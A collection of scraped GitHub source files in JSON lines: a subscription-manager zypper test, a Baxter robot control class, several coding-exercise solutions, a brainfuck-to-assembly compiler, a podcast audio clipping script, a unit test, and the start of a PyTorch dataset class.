{"seq_id":"42129914264","text":"import configparser\nfrom unittest import TestCase\nimport os\nimport subprocess\nimport tempfile\n\nfrom test import subman_marker_functional, subman_marker_needs_envvars, subman_marker_zypper\n\n\n@subman_marker_functional\n@subman_marker_zypper\n@subman_marker_needs_envvars(\n    \"RHSM_USER\", \"RHSM_PASSWORD\", \"RHSM_URL\", \"RHSM_POOL\", \"RHSM_TEST_REPO\", \"RHSM_TEST_PACKAGE\"\n)\nclass TestServicePlugin(TestCase):\n    SUB_MAN = \"PYTHONPATH=./src python -m subscription_manager.scripts.subscription_manager\"\n\n    def setUp(self):\n        # start in a non-registered state\n        subprocess.call(\"{sub_man} unregister\".format(sub_man=self.SUB_MAN), shell=True)\n\n    def has_subman_repos(self):\n        repos = configparser.ConfigParser()\n        with tempfile.NamedTemporaryFile(suffix=\".repo\") as repofile:\n            subprocess.call(\"zypper lr -e {0}\".format(repofile.name), shell=True)\n            repos.read(repofile.name)\n        for repo in repos.sections():\n            repo_info = dict(repos.items(repo))\n            service = repo_info.get(\"service\", None)\n            if service == \"rhsm\":\n                return True\n        return False\n\n    def test_provides_no_subman_repos_if_unregistered(self):\n        self.assertFalse(self.has_subman_repos())\n\n    def test_provides_subman_repos_if_registered_and_subscribed(self):\n        subprocess.call(\n            \"{sub_man} register --username={RHSM_USER} --password={RHSM_PASSWORD} \"\n            \"--serverurl={RHSM_URL}\".format(sub_man=self.SUB_MAN, **os.environ),\n            shell=True,\n        )\n        subprocess.call(\n            \"{sub_man} attach --pool={RHSM_POOL}\".format(sub_man=self.SUB_MAN, **os.environ), shell=True\n        )\n        self.assertTrue(self.has_subman_repos())\n\n    def test_can_download_rpm(self):\n        subprocess.check_call(\n            \"{sub_man} register --username={RHSM_USER} --password={RHSM_PASSWORD} \"\n            \"--serverurl={RHSM_URL}\".format(sub_man=self.SUB_MAN, **os.environ),\n            shell=True,\n        )\n        subprocess.check_call(\n            \"{sub_man} attach --pool={RHSM_POOL}\".format(sub_man=self.SUB_MAN, **os.environ), shell=True\n        )\n        subprocess.check_call(\n            \"{sub_man} repos --enable={RHSM_TEST_REPO}\".format(sub_man=self.SUB_MAN, **os.environ), shell=True\n        )\n\n        # remove cached subman packages\n        subprocess.call(\"rm -rf /var/cache/zypp/packages/subscription-manager*\", shell=True)\n        # remove test package if installed\n        subprocess.call(\n            \"PYTHONPATH=./src zypper --non-interactive rm {RHSM_TEST_PACKAGE}\".format(**os.environ),\n            shell=True,\n        )\n        subprocess.call(\n            \"PYTHONPATH=./src zypper --non-interactive --no-gpg-checks in \"\n            \"--download-only {RHSM_TEST_PACKAGE}\".format(**os.environ),\n            shell=True,\n        )\n\n        subprocess.check_call(\n            \"test \\\"$(find /var/cache/zypp/packages/ -name '{RHSM_TEST_PACKAGE}*.rpm' | wc -l)\\\" \"\n            \"-gt 0\".format(**os.environ),\n            shell=True,\n        )\n","repo_name":"candlepin/subscription-manager","sub_path":"test/zypper/test_serviceplugin.py","file_name":"test_serviceplugin.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"18"}
{"seq_id":"37527079379","text":"from copy import deepcopy\n\nimport rospy\nimport cv_bridge\nfrom baxter_core_msgs.msg import JointCommand, EndpointState, CameraSettings, CameraControl\nfrom baxter_core_msgs.msg import EndEffectorCommand, EndEffectorProperties, EndEffectorState, EndpointState, NavigatorState, DigitalIOState\nfrom baxter_core_msgs.srv import OpenCamera, CloseCamera, SolvePositionIK, SolvePositionIKRequest\nfrom std_msgs.msg import Bool, Header\nfrom geometry_msgs.msg import Pose, Point, Quaternion, PoseStamped\nfrom sensor_msgs.msg import JointState, Image\nfrom sensor_msgs.msg import Range\nimport json\n\n\nclass BaxterRobot:\n\n    def __init__(self, arm, rate=100):\n        self.rate = rospy.Rate(rate)\n\n        self.name = arm\n        self._cartesian_pose = {}\n        self._cartesian_velocity = {}\n        self._cartesian_effort = {}\n        self._joint_names = [\"_s0\", \"_s1\", \"_e0\", \"_e1\", \"_w0\", \"_w1\", \"_w2\"]\n        self._joint_names = [arm+x for x in self._joint_names]\n        iksvc_ns = \"/ExternalTools/\" + arm + \"/PositionKinematicsNode/IKService\"\n        self.iksvc = rospy.ServiceProxy(iksvc_ns, SolvePositionIK)\n        rospy.wait_for_service(iksvc_ns)\n        print(\"IK service loaded.\")\n\n        #robot\n        self._pub_robot_state = rospy.Publisher(\"/robot/set_super_enable\", Bool, queue_size=10)\n        #display\n        self._pub_display = rospy.Publisher(\"/robot/xdisplay\", Image, latch=True, queue_size=1)\n\n        #navigators buttons on arm\n        self._sub_navigator_state = rospy.Subscriber(\"/robot/navigators/\"+arm+\"_navigator/state\", NavigatorState, self._fill_navigator_state) \n        self._navigator_state = NavigatorState()\n\n        #joints\n        self._pub_joint_cmd = rospy.Publisher(\"/robot/limb/\"+arm+\"/joint_command\", JointCommand, queue_size=1)\n        self._sub_joint_state = rospy.Subscriber(\"/robot/joint_states\", JointState, self._fill_joint_state)\n        self._joint_angle = {}\n        self._joint_velocity = {}\n        self._joint_effort = {}\n\n        #end effector (hand) state\n        self._sub_endpoint_state = rospy.Subscriber(\"/robot/limb/\"+arm+\"/endpoint_state\", EndpointState, self._fill_endpoint_state)\n        self._endpoint_state = EndpointState()\n\n        #hand upper/lower button\n        self._sub_hand_upper_button_state = rospy.Subscriber(\"/robot/digital_io/\"+arm+\"_upper_button/state\", DigitalIOState, self._fill_hand_upper_button_state)\n        self._hand_upper_button_state = DigitalIOState()\n        self._sub_hand_lower_button_state = rospy.Subscriber(\"/robot/digital_io/\"+arm+\"_lower_button/state\", DigitalIOState, self._fill_hand_lower_button_state)\n        self._hand_lower_button_state = DigitalIOState()\n\n        #camera hand\n        self._sub_cam_image = rospy.Subscriber(\"/cameras/\"+arm+\"_hand_camera/image\", Image, self._fill_cam_image)\n        self._cam_image = Image()\n        \n        #range sonar hand\n        self._sub_ir_range = rospy.Subscriber(\"/robot/range/\"+arm+\"_hand_range/state\", Range, self._fill_ir_range)\n        self._ir_range = Range()\n\n        #gripper hand\n        self._pub_gripper = rospy.Publisher(\"/robot/end_effector/\"+arm+\"_gripper/command\", EndEffectorCommand, queue_size=10)\n\n        self._sub_gripper_state = rospy.Subscriber(\"/robot/end_effector/\"+arm+\"_gripper/state\", EndEffectorState, self._fill_gripper_state)\n        self._gripper_state = EndEffectorState()\n\n\n    def _fill_navigator_state(self, msg):\n        self._navigator_state = msg\n\n    def joint_angle(self):\n        return deepcopy(self._joint_angle)\n\n    def set_robot_state(self, state):\n        msg = Bool()\n        msg.data = state\n        self._pub_robot_state.publish(msg)\n\n    def set_cartesian_position(self, position, orientation, override_current_movement=False):\n        hdr = Header(stamp=rospy.Time.now(), frame_id=\"base\")\n        msg = PoseStamped(\n            header=hdr,\n            pose=Pose(\n                position=Point(\n                    x=position[0],\n                    y=position[1],\n                    z=position[2]\n                ),\n                orientation=Quaternion(\n                    x=orientation[0],\n                    y=orientation[1],\n                    z=orientation[2],\n                    w=orientation[3]\n                )\n            )\n        )\n        ikreq = SolvePositionIKRequest()\n        ikreq.pose_stamp.append(msg)\n        resp = self.iksvc(ikreq)\n        if resp.isValid[0]:\n            positions_payload={\n                self.name+\"_s0\": resp.joints[0].position[0],\n                self.name+\"_s1\": resp.joints[0].position[1],\n                self.name+\"_e0\": resp.joints[0].position[2],\n                self.name+\"_e1\": resp.joints[0].position[3],\n                self.name+\"_w0\": resp.joints[0].position[4],\n                self.name+\"_w1\": resp.joints[0].position[5],\n                self.name+\"_w2\": resp.joints[0].position[6],\n            }\n            if override_current_movement:\n                self.set_joint_position(positions_payload)\n            else:\n                self.move_to_joint_position(positions_payload)\n        else:\n            print(\"[Error] position invalid! \"+str(resp))\n        return resp.isValid[0]\n\n    def set_joint_position(self, positions):\n        self._command_msg = JointCommand()\n        self._command_msg.names = list(positions.keys())\n        self._command_msg.command = list(positions.values())\n        self._command_msg.mode = JointCommand.POSITION_MODE\n        self._pub_joint_cmd.publish(self._command_msg)\n\n    def set_joint_velocity(self, velocities):\n        self._command_msg = JointCommand()\n        self._command_msg.names = list(velocities.keys())\n        self._command_msg.command = list(velocities.values())\n        self._command_msg.mode = JointCommand.VELOCITY_MODE\n        self._pub_joint_cmd.publish(self._command_msg)\n\n    def move_to_joint_position(self, positions, timeout=15.0):\n        current_angle = self.joint_angle()\n        end_time = rospy.get_time() + timeout\n        \n        # update the target based on the current location\n        # if you use this instead of positions, the jerk\n        # will be smaller.\n        def current_target():\n            for joint in positions:\n                current_angle[joint] = 0.012488 * positions[joint] + 0.98751 * current_angle[joint]\n            return current_angle\n\n        def difference():\n            diffs = []\n            for joint in positions:\n                diffs.append(abs(positions[joint] - self._joint_angle[joint]))\n            return diffs\n\n        while any(diff > 0.008726646 for diff in difference()) and rospy.get_time() < end_time:\n            self.set_joint_position(current_target())\n            self.rate.sleep()\n        return all(diff < 0.008726646 for diff in difference())\n    \n    def move_to_neutral(self):\n        angles = dict(list(zip(self._joint_names, [0.0, -0.55, 0.0, 0.75, 0.0, 1.26, 0.0])))\n        return self.move_to_joint_position(angles)\n\n    def move_to_zero(self):\n        angles = dict(list(zip(self._joint_names, [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0])))\n        return self.move_to_joint_position(angles)\n\n    def _fill_joint_state(self, msg):\n        for idx, name in enumerate(msg.name):\n            if name in self._joint_names:\n                self._joint_angle[name] = msg.position[idx]\n                self._joint_velocity[name] = msg.velocity[idx]\n                self._joint_effort[name] = msg.effort[idx]\n\n    def _fill_endpoint_state(self, msg):\n        self._endpoint_state = msg\n\n    def _fill_hand_upper_button_state(self, msg):\n        self._hand_upper_button_state = msg\n\n    def _fill_hand_lower_button_state(self, msg):\n        self._hand_lower_button_state = msg\n\n    def _fill_cam_image(self, msg):\n        self._cam_image = msg\n\n    def _fill_ir_range(self, msg):\n        self._ir_range = msg\n\n    def _fill_gripper_state(self, msg):\n        self._gripper_state = msg\n\n    def _set_display_data(self, image):\n        msg = cv_bridge.CvBridge().cv2_to_imgmsg(image, encoding=\"bgr8\")\n        self._pub_display.publish(msg)\n\n    def _set_camera(self, camera_name, state, width=640, height=400, fps=30):\n        if state:\n            rospy.wait_for_service(\"/cameras/open\")\n            camera_proxy = rospy.ServiceProxy(\"/cameras/open\", OpenCamera)\n            settings = CameraSettings()\n            settings.width = width\n            settings.height = height\n            settings.fps = fps\n            #gain\n            control = CameraControl.CAMERA_CONTROL_GAIN #gain 0 to 79 or -1 for auto\n            value = -1\n            lookup = [c for c in settings.controls if c.id == control]\n            try:\n                lookup[0].value = value\n            except IndexError:\n                settings.controls.append(CameraControl(control, value))\n            #exposure\n            control = CameraControl.CAMERA_CONTROL_EXPOSURE #exposure 0 to 100 or -1 for auto\n            value = -1\n            lookup = [c for c in settings.controls if c.id == control]\n            try:\n                lookup[0].value = value\n            except IndexError:\n                settings.controls.append(CameraControl(control, value))\n            #get response\n            response = camera_proxy(camera_name, settings)\n            return response\n        else:\n            rospy.wait_for_service(\"/cameras/close\")\n            camera_proxy = rospy.ServiceProxy(\"/cameras/close\", CloseCamera)\n            response = camera_proxy(camera_name)\n            return response\n\n\n    #GRIPPER  \n    def gripper_set(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_SET\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_configure(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_CONFIGURE\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_reboot(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_REBOOT\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_reset(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_RESET\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_calibrate(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_CALIBRATE\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_clear_calibration(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_CLEAR_CALIBRATION\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_prepare_to_grip(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_PREPARE_TO_GRIP \n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_grip(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_GRIP\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_release(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_RELEASE\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_go(self, position=0):\n        if position<0:\n            position=0\n        if position>100:\n            position=100\n        arguments = json.dumps({\"position\":position})\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_GO\n        _command_end_effector.args = arguments\n        self._pub_gripper.publish(_command_end_effector)\n\n    def gripper_stop(self):\n        _command_end_effector = EndEffectorCommand()\n        _command_end_effector.id =  self._gripper_state.id\n        _command_end_effector.command = EndEffectorCommand.CMD_STOP\n        self._pub_gripper.publish(_command_end_effector)\n\n","repo_name":"igor-lirussi/baxter-python3","sub_path":"baxter.py","file_name":"baxter.py","file_ext":"py","file_size_in_byte":12664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34357828900","text":"def swap(pos1, pos2):\n    temp = arr[pos1]\n    arr[pos1] = arr[pos2]\n    arr[pos2] = temp\n    dictOfPos[arr[pos1]] = pos1\n    dictOfPos[arr[pos2]] = pos2\ndef initialSorting():\n    for pos in range(0, len(arr)):\n        if arr[pos] != pos+1:\n            posReq = dictOfPos[pos+1]\n            if (pos, posReq) in dictOfroboSwaps or (posReq, pos) in dictOfroboSwaps:\n                swap(pos, posReq)\n\nt = int(input())\nfor _ in range(t):\n    n, m = map(int, input().rstrip().split())\n    arr = list(map(int, input().rstrip().split()))\n    dictOfroboSwaps = {}\n    dictOfPos = {}\n    for pos in range(0, len(arr)):\n        dictOfPos[arr[pos]] = pos\n    for i in range(m):\n        x, y = map(int, input().rstrip().split())\n        dictOfroboSwaps[(x-1, y-1)] = None\n    cnt = 0\n    sortedArr = [num for num in range(1, len(arr)+1)]\n    if arr == sortedArr:\n        print(0)\n    else:\n        initialSorting()\n        if arr == sortedArr:\n            print(0)\n        else:\n            for pos in range(0, len(arr)):\n                if arr[pos] != pos + 1:\n                    posReq = dictOfPos[pos + 1]\n                    if not ((pos, posReq) in dictOfroboSwaps or (posReq, pos) in dictOfroboSwaps):\n                        cnt+=1\n                    swap(pos, posReq)\n            print(cnt)\n\n\"\"\"\n3\n3 1\n2 3 1\n2 3\n\n5 10\n2 4 5 1 3\n1 2\n1 3\n1 4\n1 5\n2 3\n2 4\n2 5\n3 4\n3 5\n4 5\n\n4 1\n3 1 4 2\n1 2\n\"\"\"","repo_name":"subho2107/Codechef","sub_path":"May long challenge/sorting vases.py","file_name":"sorting vases.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"71839272681","text":"# A brainfuck to x86/Linux assembly compiler.\n\nclass CompilationError(Exception):\n    '''Sigals a fatal error compiling the source.'''\n    pass\n\nclass Compiler(object):\n    def __init__(self):\n        pass\n\n    def compile(self, input, cells):\n        '''Compile the input stream into an output string and return it.'''\n        self.loops = []\n        self.loop_number = 0\n        self.inc_ptr_count = 0\n        self.dec_ptr_count = 0\n        code = ''\n\n        for line in input:\n            for c in line:\n                if c in instructions:\n                    code += self._emit_instruction(c)\n\n        if len(self.loops) > 0:\n            raise CompilationError('[ without corresponding ]')\n\n        return boilerplate % {'cells': cells, 'code': code}\n\n    def _emit_instruction(self, instr):\n        '''Generate the code for a single instruction.'''\n        if instr is '<':\n            return dec_ptr\n        elif instr is '>':\n            return inc_ptr\n        elif instr is '+':\n            return inc_cell\n        elif instr is '-':\n            return dec_cell\n        elif instr is ',':\n            return in_byte\n        elif instr is '.':\n            return out_byte\n        elif instr is '[':\n            self.loop_number += 1\n            self.loops.append(self.loop_number)\n            return start_loop % {'loop_num': self.loop_number}\n        elif instr is ']':\n            if len(self.loops) > 0:\n                num = self.loops.pop()\n                return end_loop % {'loop_num': num}\n            else:\n                raise CompilationError('] without corresponding [')\n\n# Valid brainfuck instructions.\ninstructions = ['<', '>', '+', '-', ',', '.', '[', ']']\n\n# Assembly code templates for each instruction.\nboilerplate = '''\n.data\n    .align 4\n    cells: .space %(cells)d, 0\n    char: .byte 0\n\n.text\n    .align 4\n\n.globl _start\n_start:\n    movl $cells, %%eax\n    movl $char, %%ecx\n%(code)s\nexit:\n    movl $1, %%eax\n    xorl %%ebx, %%ebx\n    int $0x80\n\ngetbyte:\n    pushl %%eax\n    movl $3, %%eax\n    xorl %%ebx, %%ebx\n    movl $1, %%edx\n    int $0x80\n    movl 0(%%ecx), %%ebx\n    popl %%eax\n    movl %%ebx, 0(%%eax)\n    ret\n\nputbyte:\n    push %%eax\n    movl 0(%%eax), %%eax\n    movl %%eax, 0(%%ecx)\n    movl $4, %%eax\n    movl $1, %%ebx\n    movl $1, %%edx\n    int $0x80\n    pop %%eax\n    ret\n'''\n# +\ninc_ptr = '''\n    incl %eax\n'''\n# -\ndec_ptr = '''\n    decl %eax\n'''\n# >\ninc_cell = '''\n    incb 0(%eax)\n'''\n# <\ndec_cell = '''\n    decb 0(%eax)\n'''\n# ,\nin_byte = '''\n    call getbyte\n'''\n# .\nout_byte = '''\n    call putbyte\n'''\n# [\nstart_loop = '''\nloop_%(loop_num)d:\n    cmpb $0, 0(%%eax)\n    je end_loop_%(loop_num)d\n'''\n# ]\nend_loop = '''\n    jmp loop_%(loop_num)d\nend_loop_%(loop_num)d:\n'''\n","repo_name":"errcw/bfc","sub_path":"brainfuck.py","file_name":"brainfuck.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32011993050","text":"n,k = map(int, input().split())\ncount = 0\ncoinlist = []\nfor i in range (0,n) :\n    coin = int(input())\n    coinlist.append(coin)\n\ncoinlist.sort(reverse=True)\n\nfor i in coinlist :\n    while k >= i :\n            k = k - i\n            count += 1\n            if n == 0:\n                break\n\nprint(count)\n","repo_name":"saehyen/Python_algorithm","sub_path":"Coin/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"73342532521","text":"try:\r\n   \r\n    filename = input(\"Enter the filename: \")\r\n   \r\n    with open(filename, 'r') as file:\r\n        \r\n        print(f\"File '{filename}' opened successfully.\")\r\n        \r\nexcept FileNotFoundError:\r\n    print(f\"Error: File '{filename}' not found.\")\r\nexcept Exception as e:\r\n    print(f\"An unexpected error occurred: {e}\")\r\n","repo_name":"ShreeVish31/python-gui-tkinter-codes","sub_path":"9C] Write a program that opens a file and handle a FileNotFoundError exception if the file does not exist. (exception FileNotFoundError).py","file_name":"9C] Write a program that opens a file and handle a FileNotFoundError exception if the file does not exist. (exception FileNotFoundError).py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"33748912604","text":"# 기타 그래프 이론 - 크루스칼 알고리즘 - 도시 분할 계획\n# 두 마을로 나누기 위해서는 신장 트리 구현 후, 가장 비용 큰 간선 제거\n\n# find 함수 생성 (압축 경로 이용)\ndef find_parent(parent, x):\n\n    # 부모 노드가 아니라면, 재귀적 호출\n    if parent[x] != x:\n        parent[x] = find_parent(parent, parent[x])\n    # 부모 노드 출력\n    return parent[x]\n\n# union 함수 생성\ndef union_parent(parent, a, b):\n\n    # 각 부모 노드 찾기\n    a = find_parent(parent, a)\n    b = find_parent(parent, b)\n\n    # 더 작은 부모 노드로 합치기\n    if a < b:\n        parent[b] = a\n    else:\n        parent[a] = b\n\n# 노드, 간선의 개수 입력 받기\nv, e = map(int, input().split())\n\n# 간선 정보 리스트 초기화\nparent = [0] * (v + 1)\nfor i in range(1, v + 1):\n    parent[i] = i   # 부모 노드를 자기 자신으로 초기화\n\n    \n# 간선 정보 입력받기\nedges = []\nfor _ in range(e):\n    s, e, c = map(int, input().split())\n    edges.append((c, s, e))     # 비용 순으로 정렬하기 위해 비용 먼저 저장\n\n# 간선을 비용 순으로 정렬\nedges.sort()\n\n# 최종 비용 저장 변수\nresult = 0\n# 최소 신장 트리에 포함되는 간선 중, 가장 비용이 큰 간선\nlast = 0\n\n# 간선을 하나씩 확인하며, 사이클 발생하지 않으면 집합에 포함\nfor edge in edges:\n    c, s, e = edge\n\n    # 사이클 발생 여부 확인\n    # 부모 노드가 같으면 사이클 발생\n    if find_parent(parent, s) != find_parent(parent, e):\n        union_parent(parent, s, e)\n        result += c\n        last = c\n\n# 결과 출력\nprint(result - last)","repo_name":"bokkuembab/For-coding-practice","sub_path":"Book-이것이코테다/8. 기타 그래프 이론/10-8 도시 분할 계획.py","file_name":"10-8 도시 분할 계획.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41137699691","text":"import glob, os\nfrom tqdm import tqdm\nimport subprocess\nimport soundfile\nimport librosa\nimport pandas as pd\nimport argparse\n\nSAMPLE_RATE = 16000\nDURATION = 1.0\n\ndef ffmpeg_convert(input_audiofile, output_audiofile, sr=SAMPLE_RATE):\n    \"\"\"\n    Convert an audio file to a resampled audio file with the desired\n    sampling rate specified by `sr`.\n    Parameters\n    ----------\n    input_audiofile : string\n            Path to the video or audio file to be resampled.\n    output_audiofile\n            Path for saving the resampled audio file. Should have .wav extension.\n    sr : int\n            The sampling rate to use for resampling (e.g. 16000, 44100, 48000).\n    Returns\n    -------\n    completed_process : subprocess.CompletedProcess\n            A process completion object. If completed_process.returncode is 0 it\n            means the process completed successfully. 1 means it failed.\n    \"\"\"\n\n    # fmpeg command\n    cmd = [\"ffmpeg\", \"-i\", input_audiofile, \"-ac\", \"1\", \"-af\", \"aresample=resampler=soxr\", \"-ar\", str(sr), \"-y\", output_audiofile]\n    completed_process = subprocess.run(cmd)\n\n    # confrim process completed successfully\n    assert completed_process.returncode == 0\n\n    # confirm new file has desired sample rate\n    assert soundfile.info(output_audiofile).samplerate == sr\n\n\ndef reformat(ipt_folder, opt_folder, sr=SAMPLE_RATE):\n    \"\"\"\n    convert full-length MP3 files into wav files.\n\n    Parameters\n    ----------\n    ipt_folder : str\n            folder path for full-length podcast episodes in the original MP3 format\n    opt_folder : str\n            folder path for saving full-length podcast episodes in converted WAV format\n    sr : int, optional\n            The target sampling rate to use for resampling\n    \"\"\"\n    audiofiles = glob.glob(os.path.join(ipt_folder, \"**/*.mp3\"), recursive=True)\n\n    for audiofile in tqdm(audiofiles):\n\n        folderpath = os.path.join(opt_folder, audiofile.split(\"/\")[-2])\n        os.makedirs(folderpath, exist_ok=True)\n        opt_audiofile = os.path.join(folderpath, audiofile.split(\"/\")[-1].split(\".mp3\")[0] + \".wav\")\n        ffmpeg_convert(audiofile, opt_audiofile, sr)\n\n\ndef generate_clip_wav(master_csvfile, full_folder, clip_folder, duration=DURATION):\n    \"\"\"\n    generate clips files from full podcast episodes for training\n    filler classifier\n\n    Args:\n            master_csvfile (str): master csv filepath\n            full_folder (str): folder path for full length podcast episode in converted wav format\n            clip_folder (str): folder path for event wav clips \n            duration_offset (float): amount of time to increase or decrease over the original one second clip\n    \"\"\"\n\n    event_df = pd.read_csv(master_csvfile)\n    for i, event in event_df.iterrows():\n\n        episode_subset = event[\"episode_split_subset\"]\n        clip_subset = event[\"clip_split_subset\"]\n\n        tar_folder = os.path.join(clip_folder, clip_subset)\n        os.makedirs(tar_folder, exist_ok=True)\n\n        src_filepath = os.path.join(\n            full_folder, episode_subset, event[\"podcast_filename\"] + \".wav\"\n        )\n        start_time = event[\"clip_start_inepisode\"]\n        end_time = event[\"clip_end_inepisode\"]\n        tar_filepath = os.path.join(tar_folder, event[\"clip_name\"])\n\n        if os.path.exists(tar_filepath):\n            continue\n\n        # cut wav into clips based on filler metainfo\n        duration_offset = (duration - 1.0)/2.0\n        cut_cmd = [\"ffmpeg\", \"-i\", src_filepath, \"-ss\", str(start_time-duration_offset), \"-to\", str(end_time+duration_offset), tar_filepath]\n        completed_process = subprocess.run(cut_cmd)\n\n        actual_duration = librosa.get_duration(filename=tar_filepath)\n        assert actual_duration == duration\n\n        # confrim process completed successfully\n        assert completed_process.returncode == 0\n\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-dataset_path\", required=True, type=str, help=\"root path for PodcastFillers dataset\")\n    parser.add_argument(\"-stage\", required=True, type=str, choices=[\"reformat\", \"cut\"], help=\"preprocessing step for extracting wav clips\")\n    args = parser.parse_args()\n\n    dataset_path = args.dataset_path\n    master_csvfile = os.path.join(dataset_path, \"metadata\", \"PodcastFillers.csv\")\n    full_mp3_folder = os.path.join(dataset_path, \"audio\", \"episode_mp3\")\n    full_wav_folder = os.path.join(dataset_path, \"audio\", \"episode_wav_regenerate\")\n    clip_folder = os.path.join(dataset_path, \"audio\", \"clip_wav_regenerate\")\n\n    # convert full-length MP3 into WAV\n    if args.stage == \"reformat\":\n        reformat(full_mp3_folder, full_wav_folder, sr=SAMPLE_RATE)\n\n    # generate clip wavs from full length WAV\n    elif args.stage == \"cut\":\n        # it's required to run \"reformat\" stage first\n        generate_clip_wav(master_csvfile, full_wav_folder, clip_folder, duration=DURATION)\n\n    else:\n        print(\"Unknown operation!\")\n","repo_name":"gzhu06/PodcastFillers_Utils","sub_path":"preprocessing_script.py","file_name":"preprocessing_script.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"29343862661","text":"import unittest\nfrom typing import List\nfrom Meme import Meme\nfrom pyerr import (\n    MsgTypeError,\n    UrlTypeError\n)\n\n\nclass TestMeme(unittest.TestCase):\n    def setUp(self) -> None:\n        self.correct_url: str = \"www.multisoft.se\"\n        self.correct_msg: str = \"1112031584\"\n        self.incorrect_msg: int = 1112031584\n        self.incorrect_urls: List[str] = [\n            \"https://www.multisoft.se/\",\n            \"https://www.multisoft.se\",\n            \"http://www.multisoft.se/\",\n            \"http://www.multisoft.se\",\n            \"www.multisoft.com\",\n            \"www.multisoft.com/\",\n            \"www.multisoft.se/\"\n        ]\n\n    def test_expected_url(self) -> None:\n        meme = Meme(url=self.correct_url, msg=self.correct_msg)\n        self.assertEqual(meme.url, \"www.multisoft.se\")\n\n    def test_expected_msg(self) -> None:\n        meme = Meme(url=self.correct_url, msg=self.correct_msg)\n        self.assertEqual(meme.msg, \"1112031584\")\n\n    def test_bad_msg(self) -> None:\n        with self.assertRaises(MsgTypeError):\n            Meme(url=self.correct_url, msg=self.incorrect_msg)\n\n    def test_bad_url(self) -> None:\n        for bad_url in self.incorrect_urls:\n            with self.assertRaises(UrlTypeError):\n                Meme(url=bad_url, msg=self.correct_msg)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"github-for-meme/meme","sub_path":"TestMeme.py","file_name":"TestMeme.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21335291593","text":"#!/bin/python3\nimport sys\n\nn = int(input().strip())\n\nif ((n % 2 != 0) or ((n % 2 == 0) and (n >= 6 and n <= 20))):\n    print(\"Weird\")\n\nif (n % 2 == 0):\n    if ((n >= 2 and n <= 6) or (n > 20)):\n        print(\"Not Weird\")\n","repo_name":"offonrynk/30_days_of_code","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6391585706","text":"from pathlib import Path\nfrom typing import Union\n\nimport numpy as np\nimport pandas as pd\nimport pytorch_lightning as pl\nimport torch\nfrom pytorch_lightning.loggers.wandb import WandbLogger\nfrom sklearn.preprocessing import MinMaxScaler\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torch.utils.data import DataLoader, Dataset, random_split\n\nfrom utils import current2formfactor\n\n\nclass LengthReconstructionDataset(Dataset):\n    \"\"\"\n    Dataset for reconstructing the bunch length from RF settings and the THz spectrum.\n    \"\"\"\n\n    def __init__(\n        self,\n        path: Union[Path, str],\n        normalize_rf: bool = True,\n        normalize_formfactors: bool = True,\n        normalize_lengths: bool = True,\n    ) -> None:\n        self.normalize_rf = normalize_rf\n        self.normalize_formfactors = normalize_formfactors\n        self.normalize_lengths = normalize_lengths\n\n        self.rf_settings, self.formfactors, self.bunch_lengths = self.load_data(path)\n\n        if self.normalize_rf:\n            self.rf_scaler = MinMaxScaler().fit(self.rf_settings)\n            self.rf_settings 